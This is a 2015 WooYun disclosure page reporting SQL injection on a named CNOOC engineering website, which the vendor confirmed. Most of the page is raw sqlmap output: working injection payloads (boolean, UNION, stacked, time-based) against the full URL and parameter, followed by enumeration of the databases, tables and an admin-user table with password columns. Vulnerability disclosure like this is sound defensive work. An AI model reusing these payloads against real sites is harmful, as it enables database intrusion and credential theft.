当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-095407

漏洞标题：中海油某站SQL注入漏洞

相关厂商：中国海洋石油总公司

漏洞作者： 路人甲

提交时间：2015-02-04 14:41

修复时间：2015-03-21 14:42

公开时间：2015-03-21 14:42

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-04： 细节已通知厂商并且等待厂商处理中
2015-02-06： 厂商已经确认，细节仅向厂商公开
2015-02-16： 细节向核心白帽子及相关领域专家公开
2015-02-26： 细节向普通白帽子公开
2015-03-08： 细节向实习白帽子公开
2015-03-21： 细节向公众公开

简要描述：

中海油某站SQL注入漏洞

详细说明：

http://www.cnoocengineering.com/ship01.aspx?column_id=10411&news_id=11803
news_id可注入

漏洞证明：

Parameter: news_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: column_id=10411&news_id=11803 AND 4486=4486
    Type: UNION query
    Title: Generic UNION query (NULL) - 26 columns
    Payload: column_id=10411&news_id=-8175 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(113)+CHAR(99)+CHAR(113)+CHAR(77)+CHAR(120)+CHAR(121)+CHAR(122)+CHAR(86)+CHAR(100)+CHAR(74)+CHAR(70)+CHAR(113)+CHAR(118)+CHAR(120)+CHAR(98)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: column_id=10411&news_id=11803; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: column_id=10411&news_id=11803 WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 8 or 2012
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 8.0
back-end DBMS: Microsoft SQL Server 2012
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: news_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: column_id=10411&news_id=11803 AND 4486=4486
    Type: UNION query
    Title: Generic UNION query (NULL) - 26 columns
    Payload: column_id=10411&news_id=-8175 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(113)+CHAR(99)+CHAR(113)+CHAR(77)+CHAR(120)+CHAR(121)+CHAR(122)+CHAR(86)+CHAR(100)+CHAR(74)+CHAR(70)+CHAR(113)+CHAR(118)+CHAR(120)+CHAR(98)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: column_id=10411&news_id=11803; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: column_id=10411&news_id=11803 WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 8 or 2012
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 8.0
back-end DBMS: Microsoft SQL Server 2012
current user:    'newsite'
available databases [5]:
[*] Haigong
[*] master
[*] model
[*] msdb
[*] tempdb
Database: Haigong
[47 tables]
+----------------------+
| cms_ad_class         |
| cms_ad_file          |
| cms_ad_mess          |
| cms_admin_files      |
| cms_admin_menu       |
| cms_admin_role       |
| cms_admin_user       |
| cms_admin_userrole   |
| cms_area_city        |
| cms_area_news_column |
| cms_area_news_info   |
| cms_area_province    |
| cms_bq_info          |
| cms_config           |
| cms_files_images     |
| cms_files_info       |
| cms_files_kind       |
| cms_friend_info      |
| cms_gg_info          |
| cms_jytd_news_column |
| cms_jytd_news_info   |
| cms_magazine_column  |
| cms_magazine_info    |
| cms_maps_info        |
| cms_member_info      |
| cms_member_kind      |
| cms_member_level     |
| cms_member_point     |
| cms_menu_list        |
| cms_message_center   |
| cms_news_column      |
| cms_news_comments    |
| cms_news_info        |
| cms_news_pic         |
| cms_person_info      |
| cms_position_info    |
| cms_qixia_column     |
| cms_qixia_info       |
| cms_question_info    |
| cms_related_news     |
| cms_relates_our      |
| cms_reply_info       |
| cms_role_function    |
| cms_smtp             |
| cms_user_column      |
| cms_ziliao           |
| dtproperties         |
+----------------------+
Table: cms_admin_user
[10 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| ADD_TIME    | datetime |
| column_uuid | varchar  |
| END_TIME    | datetime |
| is_child    | bit      |
| IS_USE      | bit      |
| PASSWORD    | varchar  |
| START_TIME  | datetime |
| USER_TYPE   | varchar  |
| USERNAME    | varchar  |
| UUID        | varchar  |
+-------------+----------+

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-02-06 16:04

厂商回复：

感谢路人甲，我们会尽快整改问题！

最新状态：

暂无

漏洞评价：

评论